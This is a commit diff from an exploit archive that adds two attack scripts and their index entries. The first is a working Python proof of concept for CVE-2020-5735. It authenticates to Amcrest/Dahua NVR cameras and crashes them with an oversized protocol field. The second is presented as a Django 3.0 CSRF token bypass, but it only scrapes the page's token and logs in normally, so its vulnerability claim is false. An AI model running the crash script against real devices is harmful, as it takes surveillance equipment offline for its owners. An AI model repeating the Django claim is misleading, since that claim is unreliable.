DB: 2020-04-09
2 changes to exploits/shellcodes Django 3.0 - Cross-Site Request Forgery Token Bypass Amcrest Dahua NVR Camera IP2M-841 - Denial of Service (PoC)
This commit is contained in:
parent
36c65f8dd4
commit
6d55b45cdf
3 changed files with 266 additions and 0 deletions
153
exploits/hardware/webapps/48304.py
Executable file
153
exploits/hardware/webapps/48304.py
Executable file
|
@ -0,0 +1,153 @@
|
|||
# Exploit Title: Amcrest Dahua NVR Camera IP2M-841 - Denial of Service (PoC)
|
||||
# Date: 2020-04-07
|
||||
# Exploit Author: Jacob Baines
|
||||
# Vendor Homepage: https://amcrest.com/
|
||||
# Software Link: https://amcrest.com/firmwaredownloads
|
||||
# Version: Many different versions due to number of Dahua/Amcrest/etc
|
||||
# devices affected
|
||||
# Tested on: Amcrest IP2M-841 2.420.AC00.18.R and AMDVTENL8-H5
|
||||
# 4.000.00AC000.0
|
||||
# CVE : CVE-2020-5735
|
||||
# Advisory: https://www.tenable.com/security/research/tra-2020-20
|
||||
# Amcrest & Dahua NVR/Camera Port 37777 Authenticated Crash
|
||||
|
||||
import argparse
|
||||
import hashlib
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import md5
|
||||
import re
|
||||
|
||||
## DDNS test functionality. Stack overflow via memcpy
|
||||
|
||||
def recv_response(sock):
|
||||
# minimum size is 32 bytes
|
||||
header = sock.recv(32)
|
||||
|
||||
# check we received enough data
|
||||
if len(header) != 32:
|
||||
print 'Invalid response. Too short'
|
||||
return (False, '', '')
|
||||
|
||||
# extract the payload length field
|
||||
length_field = header[4:8]
|
||||
payload_length = struct.unpack_from('I', length_field)
|
||||
payload_length = payload_length[0]
|
||||
|
||||
# uhm... lets be restrictive of accepted lengths
|
||||
if payload_length < 0 or payload_length > 4096:
|
||||
print 'Invalid response. Bad payload length'
|
||||
return (False, header, '')
|
||||
|
||||
if (payload_length == 0):
|
||||
return (True, header, '')
|
||||
|
||||
payload = sock.recv(payload_length)
|
||||
if len(payload) != payload_length:
|
||||
print 'Invalid response. Bad received length'
|
||||
return (False, header, payload)
|
||||
|
||||
return (True, header, payload)
|
||||
|
||||
def sofia_hash(msg):
|
||||
h = ""
|
||||
m = hashlib.md5()
|
||||
m.update(msg)
|
||||
msg_md5 = m.digest()
|
||||
for i in range(8):
|
||||
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
|
||||
if n > 9:
|
||||
if n > 35:
|
||||
n += 61
|
||||
else:
|
||||
n += 55
|
||||
else:
|
||||
n += 0x30
|
||||
h += chr(n)
|
||||
return h
|
||||
|
||||
top_parser = argparse.ArgumentParser(description='lol')
|
||||
top_parser.add_argument('-i', '--ip', action="store", dest="ip",
|
||||
required=True, help="The IPv4 address to connect to")
|
||||
top_parser.add_argument('-p', '--port', action="store", dest="port",
|
||||
type=int, help="The port to connect to", default="37777")
|
||||
top_parser.add_argument('-u', '--username', action="store",
|
||||
dest="username", help="The user to login as", default="admin")
|
||||
top_parser.add_argument('--pass', action="store", dest="password",
|
||||
required=True, help="The password to use")
|
||||
args = top_parser.parse_args()
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
|
||||
sock.connect((args.ip, args.port))
|
||||
print "[+] Connected!"
|
||||
|
||||
# send the old style login request. We'll use blank hashes. This should
|
||||
# trigger a challenge from new versions of the camera
|
||||
old_login = ("\xa0\x05\x00\x60\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" + # username hash
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" + # password hash
|
||||
"\x05\x02\x00\x01\x00\x00\xa1\xaa")
|
||||
sock.sendall(old_login)
|
||||
(success, header, challenge) = recv_response(sock)
|
||||
if success == False or not challenge:
|
||||
print 'Failed to receive the challenge'
|
||||
print challenge
|
||||
sys.exit(0)
|
||||
|
||||
# extract the realm and random seed
|
||||
seeds = re.search("Realm:(Login to [A-Za-z0-9]+)\r\nRandom:([0-9]+)\r\n",
|
||||
challenge)
|
||||
if seeds == None:
|
||||
print 'Failed to extract realm and random seed.'
|
||||
print challenge
|
||||
sys.exit(0)
|
||||
|
||||
realm = seeds.group(1)
|
||||
random = seeds.group(2)
|
||||
|
||||
# compute the response
|
||||
realm_hash = md5.new(args.username + ":" + realm + ":" +
|
||||
args.password).hexdigest().upper()
|
||||
random_hash = md5.new(args.username + ":" + random + ":" +
|
||||
realm_hash).hexdigest().upper()
|
||||
sofia_result = sofia_hash(args.password)
|
||||
final_hash = md5.new(args.username + ":" + random + ":" +
|
||||
sofia_result).hexdigest().upper()
|
||||
|
||||
challenge_resp = ("\xa0\x05\x00\x60\x47\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x05\x02\x00\x08\x00\x00\xa1\xaa" +
|
||||
args.username + "&&" + random_hash + final_hash)
|
||||
sock.sendall(challenge_resp)
|
||||
|
||||
(success, header, payload) = recv_response(sock)
|
||||
if success == False or not header:
|
||||
print 'Failed to receive the session id'
|
||||
sys.exit(0)
|
||||
|
||||
session_id_bin = header[16:20]
|
||||
session_id_int = struct.unpack_from('I', session_id_bin)
|
||||
if session_id_int[0] == 0:
|
||||
print "Log in failed."
|
||||
sys.exit(0)
|
||||
|
||||
session_id = session_id_int[0]
|
||||
print "[+] Session ID: " + str(session_id)
|
||||
|
||||
# firmware version
|
||||
command = "Protocol: " + ("a" * 0x300) + "\r\n"
|
||||
command_length = struct.pack("I", len(command))
|
||||
firmware = ("\x62\x00\x00\x00" + command_length +
|
||||
"\x04\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
command)
|
||||
sock.sendall(firmware)
|
||||
(success, header, firmware_string) = recv_response(sock)
|
||||
if success == False and not header:
|
||||
print "[!] Probably crashed the server."
|
||||
else:
|
||||
print "[+] Attack failed."
|
111
exploits/php/webapps/48303.txt
Normal file
111
exploits/php/webapps/48303.txt
Normal file
|
@ -0,0 +1,111 @@
|
|||
# Exploit Title: Django 3.0 - Cross-Site Request Forgery Token Bypass
|
||||
# Date: 2020-04-08
|
||||
# Exploit Author: Spad Security Group
|
||||
# Vendor Homepage: https://www.djangoproject.com/
|
||||
# Software Link: https://pypi.org/project/Django/
|
||||
# Version: 3.0 =<
|
||||
# Tested on: windows 10
|
||||
# Language: python3.8
|
||||
|
||||
# t.me/SpadSec
|
||||
# Spad Security Group
|
||||
|
||||
|
||||
from requests import Session
|
||||
import sys
|
||||
from bs4 import BeautifulSoup
|
||||
from time import sleep
|
||||
from colorama import Fore, Style
|
||||
from random import choice
|
||||
from os import name, system
|
||||
|
||||
colors = [Fore.RED, Fore.BLUE, Fore.WHITE, Fore.GREEN, Fore.CYAN, Fore.YELLOW]
|
||||
|
||||
|
||||
def cleaner():
|
||||
if name == "nt":
|
||||
system("cls")
|
||||
else:
|
||||
system("clear")
|
||||
|
||||
def logo_printer():
|
||||
cleaner()
|
||||
logo = r"""
|
||||
\_______/
|
||||
`.,-'\_____/`-.,'
|
||||
/`..'\ _ /`.,'\
|
||||
/ /`.,' `.,'\ \
|
||||
/__/__/ \__\__\__
|
||||
\ \ \ / / /
|
||||
\ \,'`._,'`./ /
|
||||
\,'`./___\,'`./
|
||||
,'`-./_____\,-'`.
|
||||
/ \
|
||||
"""
|
||||
_logo_enumer = 0
|
||||
for char in logo:
|
||||
sys.stdout.write(f"{choice(colors)}{char}{Style.RESET_ALL}")
|
||||
sys.stdout.flush()
|
||||
_logo_enumer +=1
|
||||
sleep(0.005)
|
||||
print(f"{colors[4]}DjangoCsrfMiddlewareToken bypass by SpadSecurity Group \n{colors[3]}\tt.me/SpadSec")
|
||||
|
||||
class DjangoCsrfMiddleWareBypass:
|
||||
def __init__(self, url: str, username: str, password: str):
|
||||
self.url = url
|
||||
self.username = username
|
||||
self.password = password
|
||||
logo_printer()
|
||||
self.cookies = {}
|
||||
self.session = Session()
|
||||
self.bypass()
|
||||
|
||||
def spad_printer(self, string):
|
||||
print("\n")
|
||||
for char in string:
|
||||
sys.stdout.write(char)
|
||||
sys.stdout.flush()
|
||||
sleep(0.05)
|
||||
|
||||
def bypass(self):
|
||||
global colors
|
||||
_conn = self.session.get(self.url)
|
||||
self.spad_printer(f"{colors[5]}[{colors[0]}x{colors[5]}] {colors[4]}Target: {colors[3]}{self.url}")
|
||||
self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Trying to bypass cookies ...")
|
||||
for key, value in _conn.cookies.items():
|
||||
self.cookies[key] = value
|
||||
self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Bypassed Cookies ;)!")
|
||||
|
||||
soup = BeautifulSoup(_conn.text, "lxml")
|
||||
csrf = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
|
||||
self.spad_printer(f"{colors[5]}[{colors[0]}~{colors[5]}] {colors[1]}Csrf-Token Found{Style.RESET_ALL}")
|
||||
|
||||
login = self.session.post(self.url, data={'csrfmiddlewaretoken': csrf, 'username': self.username, 'password': self.password}, cookies=self.cookies)
|
||||
if len(login.history) >= 2:
|
||||
if login.history[1].is_redirect:
|
||||
self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Csrf-Token bypassed and logged in")
|
||||
else:
|
||||
self.spad_printer("[-] Error")
|
||||
else:
|
||||
if login.history:
|
||||
if login.history[0].is_redirect:
|
||||
self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Csrf-Token bypassed and logged in{Style.RESET_ALL}")
|
||||
for key, value in self.session.cookies.items():
|
||||
self.spad_printer(f"{colors[5]}[{colors[0]}!{colors[5]}] {colors[4]}{key} {colors[1]}-> {colors[4]}{value}{Style.RESET_ALL}")
|
||||
else:
|
||||
self.spad_printer(f"{colors[5]}[{colors[0]}-{colors[5]}] {colors[1]}Error")
|
||||
else:
|
||||
self.spad_printer(f"{colors[5]}[{colors[0]}-{colors[5]}] {colors[1]}Error")
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
url = sys.argv[1]
|
||||
username = sys.argv[2]
|
||||
password = sys.argv[3]
|
||||
DjangoCsrfMiddleWareBypass(url, username, password)
|
||||
except IndexError:
|
||||
logo_printer()
|
||||
for char in f"[!] python {sys.argv[0]} http://google.com username password":
|
||||
sys.stdout.write(char)
|
||||
sys.stdout.flush()
|
||||
sleep(0.05)
|
|
@ -42545,3 +42545,5 @@ id,file,description,date,author,type,platform,port
|
|||
48296,exploits/php/webapps/48296.py,"Bolt CMS 3.7.0 - Authenticated Remote Code Execution",2020-04-06,r3m0t3nu11,webapps,php,
|
||||
48297,exploits/php/webapps/48297.txt,"LimeSurvey 4.1.11 - 'File Manager' Path Traversal",2020-04-06,"Matthew Aberegg",webapps,php,
|
||||
48300,exploits/freebsd/webapps/48300.txt,"pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting",2020-04-06,"Matthew Aberegg",webapps,freebsd,
|
||||
48303,exploits/php/webapps/48303.txt,"Django 3.0 - Cross-Site Request Forgery Token Bypass",2020-04-08,"Spad Security Group",webapps,php,
|
||||
48304,exploits/hardware/webapps/48304.py,"Amcrest Dahua NVR Camera IP2M-841 - Denial of Service (PoC)",2020-04-08,"Jacob Baines",webapps,hardware,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue